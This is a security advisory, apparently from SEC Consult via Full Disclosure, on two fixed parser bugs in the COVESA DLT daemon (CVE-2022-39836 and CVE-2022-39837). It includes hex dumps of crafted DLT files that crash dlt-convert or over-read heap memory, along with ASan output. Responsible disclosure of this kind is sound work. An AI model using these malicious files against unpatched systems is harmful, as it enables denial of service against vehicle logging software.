SEC Consult SA-20220923-0 :: Multiple Memory Corruption Vulnerabilities in COVESA (Connected Vehicle Systems Alliance) DLT daemon

From: "SEC Consult Vulnerability Lab, Research via Fulldisclosure" <fulldisclosure () seclists org>
Date: Fri, 23 Sep 2022 06:22:07 +0000

```
SEC Consult Vulnerability Lab Security Advisory < 20220923-0 >
=======================================================================
               title: Multiple Memory Corruption Vulnerabilities
             product: COVESA DLT daemon (Diagnostic Log and Trace)
                      Connected Vehicle Systems Alliance (COVESA), formerly GENIVI
  vulnerable version: <= 2.18.8
       fixed version: current master branch commit 855e0017a980d2990c16f7dbf3b4983b48fac272
          CVE number: CVE-2022-39836, CVE-2022-39837
              impact: medium
            homepage: https://github.com/COVESA/dlt-daemon
               found: 2022-01-14
                  by: Steffen Robertz (Office Vienna)
                      Gerhard Hechenberger (Office Vienna)
                      Thomas Weber (Office Vienna)
                      Timo Longin (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"The Connected Vehicle Systems Alliance (COVESA) (formerly known as the GENIVI
Alliance is an open, collaborative and impactful technology alliance; accelerating
the full potential of connected vehicles. Working together, we are a force-multiplier,
creating a more diverse, sustainable and integrated mobility ecosystem."

Source: https://www.covesa.global/

"GENIVI Diagnostic Log and Trace (DLT) provides a log and trace interface,
based on the standardised protocol specified in the AUTOSAR standard 4.0 DLT.
It is used by other GENIVI components but can serve as logging framework for
other applications without relation to GENIVI."
```

Source: https://github.com/COVESA/dlt-daemon

Business recommendation:

The project fixed the vulnerability with commit 855e0017a980d2990c16f7dbf3b4983b48fac272
(https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272).

No new version has been tagged, thus an update to the current master branch is recommended.

Vulnerability overview/description:
----
1) Null-Pointer Dereference (CVE-2022-39837)
Due to a faulty DLT file parser, a malicious DLT file that crashes the process
can be created. This is due to missing validation checks.

2) Heap Buffer Over-Read (CVE-2022-39836)
The DLT file parser will over read one byte from heap memory when converting
a malicious DLT file.

Proof of concept:
----
1) Null-Pointer Dereference (CVE-2022-39837)
The following example DLT file will cause a null pointer dereference and crash the
dlt-convert process.
However, the crash is caused in /dlt-daemon/src/shared/dlt_common.c:714 and
thus will most likely affect the whole dlt-daemon suite.

```
xxd nullpointer_dereference.dlt
00000000: 444c 5401 ffff ffff 0000 0000 4141 4141  DLT.........AAAA
00000010: ffff ffff                                ....
```

Running the file causes the following crash:

```
./dlt-convert -m nullpointer_dereference.dlt
[ 7118.461371]~DLT~10310~WARNING  ~Cannot read standard header extra parameters
from file!
[1]    10310 segmentation fault (core dumped)
./dlt-convert -m nullpointer_dereference.dlt
```

The error occurs as the htypew field in the DltStandardHeader indicates that
a DltExtendedHeader is supplied. However, it is never checked, if an extended
header is actually supplied within the DLT file.

2) Heap Buffer Over-Read (CVE-2022-39836)
The following example DLT file will cause a heap buffer over-read by one byte if
executed with ./dlt-convert -m <malicious_dlt_file>

```
-----------------------
00000000: 444c 5401 d718 aa61 ebaf 0200 4543 5531  DLT....a....ECU1
00000010: 3500 0020 4543 5531 0be0 cc29 2601 4441  5.. ECU1...)&.DA
00000020: 3100 4443 3100 020f 0000 0002 0000 0000  1.DC1...........
00000030: 444c 4c01 d718 aa61 fb17 775f 0bce 290c  DLL....a..w_..).
00000040: 4101 444c 5444 494e 544d 0002 0000 2e00  A.DLTDINTM......
00000050: 4461 656d 6f6e 206c 6175 6e63 6865 642e  Daemon launched.
00000060: 2053 7461 7274 696e 6720 024c 4f47 0054   Starting .LOG.T
00000070: 4553 5423 0800 0000 0000 0003 0000 0000  EST#............
```

```
00000080: 0200 001d 0054 68af 0200 4543 5531 3d01  .....Th...ECU1=.
00000090: 0079 4543 5531 0017 775f 0bd3 de1b 4101  .yECU1..w_....A.
000000a0: 444c 5444 494e 544d 0002 0000 5900 4170  DLTDINTM....Y.Ap
000000b0: 706c 6963 6174 696f 6e49 4420 274c 4f47  plicationID 'LOG
000000c0: 2720 7265 6769 7374 6572 6564 2066 6f72  ' registered for
000000d0: 2050 4944 2031 3533 3739 3138 2c20 4465   PID 1537918, De
000000e0: 7363 7269 7074 696f 6e3d 5465 7374 2041  scription=Test A
000000f0: 7070 6c69 6361 7469 6f6e 2066 6f72 204c  pplication for L
00000100: 6f67 6710 0000 0044 4c54 01d7 18aa 61fe  ogg....DLT....a.
00000110: af02 0045 4355 313d 0000 4945 4355 3100  ...ECU1=..IECU1.
00000120: 1777 7e0b d3de 1b31 024c 4f47 6973 206d  .w~....1.LOGis m
00000130: 7920 6669 7273 7420 6c6f 0000 00f5 0100  y first lo......
00000140: 001d 0054 6869 7320 6973 206d 7920 6669  ...This is my fi
00000150: 7273 7420 6c6f 6720 6d65 7373 6167 6500  rst log message.
00000160: 444c 5401 d718 b261 00b0 0200 4543 5531  DLT....a....ECU1
00000170: 3d01 0049 4543 5500 0001 0000 0000 0200  =..IECU.........
00000180: 001d 0054 6869 7320 6973 206d 7920 6669  ...This is my fi
00000190: 7273 7420 6c6f 6720 6d65 7373 6167 6500  rst log message.
000001a0: 444c 5401 d718 aa61 01b0 0200 4543 5531  DLT....a....ECU1
000001b0: 3d02 0049 4543 5531 0017 777e 0bd4 052d  =..IECU1..w~...-
000001c0: 3102 4c4f 4700 5445 5354 2308 0000 0000  1.LOG.TEST#.....
000001d0: 0000 0200 0000 0002 0000 9c00 5468 6973  ............This
000001e0: 2069 7320 6d79 2066 6972 7374 206c 6f67   is my first log
000001f0: 206d 6573 7361 6765 0044 4c54 01d7 18aa   message.DLT....
00000200: 6113 b002 0045 4355 313d 0300 4945 4355  a....ECU1=..IECU
00000210: 310b d418 b831 024c 4f47 0054 4553 5423  1....1.LOG.TEST#
00000220: 0800 0000 0000 0003 0000 0000 0200 001d  ................
00000230: 0054 6869 7320 6973 206d 7920 6669 7273  .This is my firs
00000240: 7420 6c6f 6720 6d65 7373 6167 6500 444c  t log message.DL
00000250: 5401 d718 aa61 15b0 4800 4543 5531 3d04  T....a..H.ECU1=.
00000260: 0049 4543 5531 0017 777e 0bd4 2c43 3102  .IECU1..w~..,C1.
00000270: 4c4f 4700 5445 5354 2308 0000 0000 0000  LOG.TEST#.......
00000280: 0400 0000 0002 0000 1d00 5468 6973 2069  ..........This i
00000290: 7320 6d79 2066 6972 7b74 0be0 cc29 2601  s my fir{t...)&.
000002a0: 4441 3100 4443 3100 020f 0000 0002 0000  DA1.DC1.........
000002b0: 0000 444c 4c01 313d 0200 3845 4355 3100  ..DLL.1=..8ECU1.
000002c0: 1777 5f0b d466 dd41 0144 4c54 4449 4e54  .w_..f.A.DLTDINT
000002d0: 4d00 0200 0018 0055 6e72 6567 6973 7465  M......Unregiste
000002e0: 7265 6420 4170 4944 2027 4c4f 4727 0044  red ApID 'LOG'.D
000002f0: 4c54 01d7 18aa 444c 5401 d718 aa61 ebaf  LT....DLT....a..
00000300: 0200 4543 5531 3500 0020 4543 5531 0be0  ..ECU15.. ECU1..
00000310: cc29 2601 4441 3100 4443 3100 020f 0000  .)&.DA1.DC1.....
00000320: 0002 0000 0000 444c 5401 d718 aa61 fbaf  ......DLT....a..
00000330: 0200 4543 5531 3d00 004e 4543 5531 0017  ..ECU1=..NECU1..
00000340: 775f 0bce 290c 4101 444c 5444 494e 544d  w_..).A.DLTDINTM
00000350: 0002 0000 2e00 4461 656d 6f6e 206c 6175  ......Daemon lau
00000360: 6e63 6865 642e 2053 7461 7274 696e 6720  nched. Starting
00000370: 746f 206f 7574 7075 7420 7472 6163 6573  to output traces
00000380: 2e2e 2e00 444c 5401 d718 aa61 fdaf 0200  ....DLT....a....
00000390: 4543 5531 3d01 0079 4543 55              ECU1=..yECU
---------------------------
```

Compiling dlt-convert with ASAN support shows a heap-buffer over-read
of one byte:

```
--------------------------------------------------------------------------------------------
 )&D app_trace state V 85
[000000: 41 31 00 44 43 31 00 02 0f 00 00 00 02 00 00 00 A1.DC1.........
000010: 00 44 4c 54 01 d7 18 aa 61 fb af 02 00 45 43 55 .DLT....a....ECU
000020: 31 3d 00 00 4e 45 43 55 31 00 17 77 5f 0b ce xx 1=..NECU1..w_..]
[1646261.167986]~DLT~547178~WARNING ~Cannot read standard header extra parameters from
file!
5 2021/12/03 14:17:11.176125 822234191 001 CU15 1
 )&D app_trace state V 85
```

```
=================================================================
==547178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000003f at pc
0x7ffff7b77973 bp 0x7fffffffa7f0 sp 0x7fffffffa7e8
READ of size 1 at 0x60400000003f thread T0
[Detaching after fork from child process 550639]
#0 0x7ffff7b77972 in dlt_print_hex_string_delim /dlt-daemon/src/shared/dlt_common.c:147:35
#1 0x7ffff7b77ede in dlt_print_hex_string /dlt-daemon/src/shared/dlt_common.c:156:12
#2 0x7ffff7b77ede in dlt_print_mixed_string /dlt-daemon/src/shared/dlt_common.c:205:9
#3 0x7ffff7b7fb4f in dlt_message_payload /dlt-daemon/src/shared/dlt_common.c
#4 0x7ffff7b9c12d in dlt_message_print_mixed_plain /dlt-
daemon/src/shared/dlt_common.c:3281:5
#5 0x4cd050 in main /dlt-daemon/src/console/dlt-convert.c:454:21
#6 0x7ffff6bd3ca2 in __libc_start_main (/lib64/libc.so.6+0x3aca2)
#7 0x41f1bd in _start (/dlt-daemon/build_asan_debug2/src/console/dlt-convert+0x41f1bd)
0x60400000003f is located 0 bytes to the right of 47-byte region
[0x604000000010,0x60400000003f)
allocated by thread T0 here:
#0 0x499e5d in malloc /tmp/llvm/utils/release/final/llvm-project/compiler-
rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x7ffff7b8f55d in dlt_file_read_data /dlt-daemon/src/shared/dlt_common.c:1428:43
SUMMARY: AddressSanitizer: heap-buffer-overflow /dlt-daemon/src/shared/dlt_common.c:147:35
in
dlt_print_hex_string_delim
Shadow bytes around the buggy address:
0x0c087fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c087fff8000: fa fa 00 00 00 00 00[07]fa fa fa fa fa fa fa fa
0x0c087fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==547178==ABORTING
```

Vulnerable / tested versions:

The current Git Master branch v2.18.8 has been tested and found to be vulnerable.
(tested at commit aa1364fbdf8700a2c3d2176180f92fb9a4b44251)

Vendor contact timeline:

```
------------------------
2022-04-01: Contacting maintainers through email.
2022-04-01: Email returned to sender because of illegal attached files (probably PGP keys).
2022-04-04: Sent advisory via SMIME encrypted mail to another identified email address.
2022-04-05: Advisory received, vendor starts to work on fixes.
2022-04-20: Requested status.
2022-04-21: Currently busy with different projects. Will keep us updated on patching
efforts.
2022-05-04: Vendor shares tentative patches.
2022-07-29: Requested status update from vendor.
2022-08-01: Vulnerability fixed in commit 855e0017a980d2990c16f7dbf3b4983b48fac272
2022-09-23: Public release of security advisory


Solution:
---------
The vulnerability has been fixed with commit 855e0017a980d2990c16f7dbf3b4983b48fac272.
No new version has been tagged, thus an update to the current master branch is recommended.

See https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Robertz, G. Hechenberger, T. Weber, T. Longin / @2022
```